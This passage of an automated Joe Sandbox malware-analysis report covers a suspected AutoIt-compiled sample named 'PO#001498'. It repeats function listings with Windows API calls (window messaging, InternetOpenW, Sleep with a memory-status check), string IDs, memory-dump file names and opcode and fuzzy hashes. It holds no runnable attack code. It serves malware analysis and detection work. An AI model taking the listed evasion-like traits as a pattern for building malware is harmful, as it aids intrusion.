                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend
                                                                                                                                                                                • String ID: Combobox
                                                                                                                                                                                • API String ID: 3850602802-2096851135
                                                                                                                                                                                • Opcode ID: 0499e5d8541f4f9e55005c4c3969ca7e279e19a534152943b96dd4c6f47caa3c
                                                                                                                                                                                • Instruction ID: f266216a818347eeb58d59163185d0479ace604409515c443b0f4894c7ad90f2
                                                                                                                                                                                • Opcode Fuzzy Hash: 0499e5d8541f4f9e55005c4c3969ca7e279e19a534152943b96dd4c6f47caa3c
                                                                                                                                                                                • Instruction Fuzzy Hash: D9110A72A0430067E6109AA4DC80F5BB3D8EB99735F10071BFA24E72E1D774FC448768
                                                                                                                                                                                Function 004515AB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetWindowTextLengthW.USER32(00000000), ref: 004515DA
                                                                                                                                                                                • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 004515EA
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: LengthMessageSendTextWindow
                                                                                                                                                                                • String ID: edit
                                                                                                                                                                                • API String ID: 2978978980-2167791130
                                                                                                                                                                                • Opcode ID: 255065f22875c24af3de74cb0bd99753dbe1335258aa39c92c973eb9156a9169
                                                                                                                                                                                • Instruction ID: b80de1f22085cd2d24dcce0fe83431d10f7d2aff66e66183492c5b70af3c9e13
                                                                                                                                                                                • Opcode Fuzzy Hash: 255065f22875c24af3de74cb0bd99753dbe1335258aa39c92c973eb9156a9169
                                                                                                                                                                                • Instruction Fuzzy Hash: 2011E4716003006BD6109A64D884F6BB3DCEBD8335F104B1EFA61D32E1D779EC458729
                                                                                                                                                                                Function 00474827 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72sleepCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • Sleep.KERNEL32(00000000), ref: 00474833
                                                                                                                                                                                • GlobalMemoryStatusEx.KERNEL32 ref: 00474846
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: GlobalMemorySleepStatus
                                                                                                                                                                                • String ID: @
                                                                                                                                                                                • API String ID: 2783356886-2766056989
                                                                                                                                                                                • Opcode ID: 6b539aa5d60aaa410447b6e5f9627e9a7b549f395ce9a021d490b3e8c5b2361e
                                                                                                                                                                                • Instruction ID: 41c327e25453105c4ca6c880754d33c67e761007402a238c65fd2e715fefe222
                                                                                                                                                                                • Opcode Fuzzy Hash: 6b539aa5d60aaa410447b6e5f9627e9a7b549f395ce9a021d490b3e8c5b2361e
                                                                                                                                                                                • Instruction Fuzzy Hash: 4421C230929A14B7C2107F6ABD4BB5E7BB8AF44716F008C5DF5C562094DF785268836F
                                                                                                                                                                                Function 004647A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59networkCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: htonsinet_addr
                                                                                                                                                                                • String ID: 255.255.255.255
                                                                                                                                                                                • API String ID: 3832099526-2422070025
                                                                                                                                                                                • Opcode ID: 8f81358a7508e033a1ccca041802c5cf6ea433113977ffec7d790c03bda6a3ba
                                                                                                                                                                                • Instruction ID: e3b5e028fda38c0aed97ec3d425ece65e45bc088e5f3683a6f0e3ee8de0e9224
                                                                                                                                                                                • Opcode Fuzzy Hash: 8f81358a7508e033a1ccca041802c5cf6ea433113977ffec7d790c03bda6a3ba
                                                                                                                                                                                • Instruction Fuzzy Hash: 6F11253620030057DA10EB69C882F9BB394EFC4728F00896BFA105B283D679F45A832E
                                                                                                                                                                                Function 004694DE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                • SendMessageW.USER32(00000000,000001A2,000000FF,00000000), ref: 00469547
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend_wcslen
                                                                                                                                                                                • String ID: ComboBox$ListBox
                                                                                                                                                                                • API String ID: 455545452-1403004172
                                                                                                                                                                                • Opcode ID: 19b239a33d6ccea3c1be09f9a3ff48f3ef4fb117e78275193105084191351ab7
                                                                                                                                                                                • Instruction ID: d7878a024921556205560296ec06e6abf53b779169672b4943ab7ad66f70e2c7
                                                                                                                                                                                • Opcode Fuzzy Hash: 19b239a33d6ccea3c1be09f9a3ff48f3ef4fb117e78275193105084191351ab7
                                                                                                                                                                                • Instruction Fuzzy Hash: 2601D6327011106B8600BB299C019AFB39DDBC2370F544A2FF965573D1EA39AC0E476A
                                                                                                                                                                                Function 00442AFE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00442B8C
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: InternetOpen
                                                                                                                                                                                • String ID: <local>
                                                                                                                                                                                • API String ID: 2038078732-4266983199
                                                                                                                                                                                • Opcode ID: 6ab628e9b643b7f337e7eb9a1eb164a667740d16f62f34970bb7649561c47b18
                                                                                                                                                                                • Instruction ID: 525aca290fb55aeb65c4bf55ca0deee88c9418ef2a1db54778758d1eb2e06c8a
                                                                                                                                                                                • Opcode Fuzzy Hash: 6ab628e9b643b7f337e7eb9a1eb164a667740d16f62f34970bb7649561c47b18
                                                                                                                                                                                • Instruction Fuzzy Hash: 9011A934144751AAF621DF108D86FB77794FB50B01F50480FF9866B2C0D6F4B848C766
                                                                                                                                                                                Function 004695F7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                • SendMessageW.USER32(00000000,00000180,00000000,00000000), ref: 00469660
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend_wcslen
                                                                                                                                                                                • String ID: ComboBox$ListBox
                                                                                                                                                                                • API String ID: 455545452-1403004172
                                                                                                                                                                                • Opcode ID: 9c387d355752c609e3ec3b71bdfa1ce54c6356e755a59a855018ee08606d8eab
                                                                                                                                                                                • Instruction ID: 486d2595d5a7427da4a9c048e684990a8dc9cac685a8154682435d05c4426571
                                                                                                                                                                                • Opcode Fuzzy Hash: 9c387d355752c609e3ec3b71bdfa1ce54c6356e755a59a855018ee08606d8eab
                                                                                                                                                                                • Instruction Fuzzy Hash: A101D87274121027C600BA259C01AEBB39CEB96354F04443BF94597291EA6DED0E43AA
                                                                                                                                                                                Function 0046956F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                • SendMessageW.USER32(00000182,00000182,?,00000000), ref: 004695D6
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend_wcslen
                                                                                                                                                                                • String ID: ComboBox$ListBox
                                                                                                                                                                                • API String ID: 455545452-1403004172
                                                                                                                                                                                • Opcode ID: ebc0188a5584a95c85a0cdadc4297c14a5cc600b4744d97cee4f9a5f6612b8f9
                                                                                                                                                                                • Instruction ID: 72d13aeac174e9c1a3a177398698555a642000804846b33da1492f44d6438514
                                                                                                                                                                                • Opcode Fuzzy Hash: ebc0188a5584a95c85a0cdadc4297c14a5cc600b4744d97cee4f9a5f6612b8f9
                                                                                                                                                                                • Instruction Fuzzy Hash: 4D01A77374111067C610BA6A9C01AEB739CABD2364F44443BF94597292EA7DED0E43AA
                                                                                                                                                                                Function 00461774 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _strncmp
                                                                                                                                                                                • String ID: ,$UTF8)
                                                                                                                                                                                • API String ID: 909875538-2632631837
                                                                                                                                                                                • Opcode ID: 727c7c5760fb27673dbb24875b26f121239a8201232c39922ad2fa80f7f85d54
                                                                                                                                                                                • Instruction ID: 35c0b5e4e6bd282640ba12729024cfd3588da47ca1ed1c49f01331a057b7ec9b
                                                                                                                                                                                • Opcode Fuzzy Hash: 727c7c5760fb27673dbb24875b26f121239a8201232c39922ad2fa80f7f85d54
                                                                                                                                                                                • Instruction Fuzzy Hash: 7601B575A083805BE720DE20CC85BA773A1AB81319F58492ED8D5872A1F73DD449C75B
                                                                                                                                                                                Function 00461772 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _strncmp
                                                                                                                                                                                • String ID: ,$UTF8)
                                                                                                                                                                                • API String ID: 909875538-2632631837
                                                                                                                                                                                • Opcode ID: abd9c85c193eb76a615b38e8260140970f327620044c052ec7ea970ca86f7e2a
                                                                                                                                                                                • Instruction ID: b3c6803870d1b21283bf32431af321d4190ac902c568a1d8b2e557ddf245ca97
                                                                                                                                                                                • Opcode Fuzzy Hash: abd9c85c193eb76a615b38e8260140970f327620044c052ec7ea970ca86f7e2a
                                                                                                                                                                                • Instruction Fuzzy Hash: 1E01D875A043805BE720DE20CC85B6773A19B4131AF68492FD8D6872A1F73DD449C75B
                                                                                                                                                                                Function 004560AD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SendMessageW.USER32(?,00001001,00000000,?), ref: 004560BA
                                                                                                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                • wsprintfW.USER32 ref: 004560E9
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend_mallocwsprintf
                                                                                                                                                                                • String ID: %d/%02d/%02d
                                                                                                                                                                                • API String ID: 1262938277-328681919
                                                                                                                                                                                • Opcode ID: 5e9390f3fa6d631e890f8db483ee3f325bf10843f83bb080d9b0d170336394c6
                                                                                                                                                                                • Instruction ID: 2a73c44ac592e0fe880a68d863bd42ca8887a008949f121bccc13d44bcf2ebb3
                                                                                                                                                                                • Opcode Fuzzy Hash: 5e9390f3fa6d631e890f8db483ee3f325bf10843f83bb080d9b0d170336394c6
                                                                                                                                                                                • Instruction Fuzzy Hash: 13F08272744220A7E2105BA5AC01BBFB3D4EB84762F10443BFE44D12C0E66E8455D7BA
                                                                                                                                                                                Function 00442262 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0044226C
                                                                                                                                                                                • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 0044227F
                                                                                                                                                                                  • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: FindMessagePostSleepWindow
                                                                                                                                                                                • String ID: Shell_TrayWnd
                                                                                                                                                                                • API String ID: 529655941-2988720461
                                                                                                                                                                                • Opcode ID: 62d1e1a02585172d548c808ed695c1d9d3028cc69dace886715b1b3d1423c17e
                                                                                                                                                                                • Instruction ID: f0ed9326d30a696a9ade51716a531e8bd1705000bbe21894ac7a57cb5589152b
                                                                                                                                                                                • Opcode Fuzzy Hash: 62d1e1a02585172d548c808ed695c1d9d3028cc69dace886715b1b3d1423c17e
                                                                                                                                                                                • Instruction Fuzzy Hash: 71D0A772F8130177E92077706D0FFCB26246F14710F010C3AB305AA1C0D4E8D440C358
                                                                                                                                                                                Function 0044222A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00442240
                                                                                                                                                                                • PostMessageW.USER32(00000000), ref: 00442247
                                                                                                                                                                                  • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: FindMessagePostSleepWindow
                                                                                                                                                                                • String ID: Shell_TrayWnd
                                                                                                                                                                                • API String ID: 529655941-2988720461
                                                                                                                                                                                • Opcode ID: d3682f88803cb2a3efb7847c83fab5a73234bf1983908037f6894d5424c159e3
                                                                                                                                                                                • Instruction ID: d1e5b9be119239975405e397b0c0efdc35250005003305bf123d4268f2ecb06f
                                                                                                                                                                                • Opcode Fuzzy Hash: d3682f88803cb2a3efb7847c83fab5a73234bf1983908037f6894d5424c159e3
                                                                                                                                                                                • Instruction Fuzzy Hash: 4DD05E72B813013BE92076706D0FF8B26246B14710F010C2AB205AA1C0D4E8A4408358
                                                                                                                                                                                Function 00439514 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00439522
                                                                                                                                                                                  • Part of subcall function 00411A1F: _doexit.LIBCMT ref: 00411A2B
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Message_doexit
                                                                                                                                                                                • String ID: AutoIt$Error allocating memory.
                                                                                                                                                                                • API String ID: 1993061046-4017498283
                                                                                                                                                                                • Opcode ID: 98c4a6cf209f69c689245cd57ea7e643062e7ce984d6ae84015e6f4dd77dfbd0
                                                                                                                                                                                • Instruction ID: 5d68346425d2699d55792fe39b85c2381918ba1f955abba655776c5540820644
                                                                                                                                                                                • Opcode Fuzzy Hash: 98c4a6cf209f69c689245cd57ea7e643062e7ce984d6ae84015e6f4dd77dfbd0
                                                                                                                                                                                • Instruction Fuzzy Hash: 82B092343C038627E20437A01C0BF8C28049B64F42F220C2AB308384D259D90080231E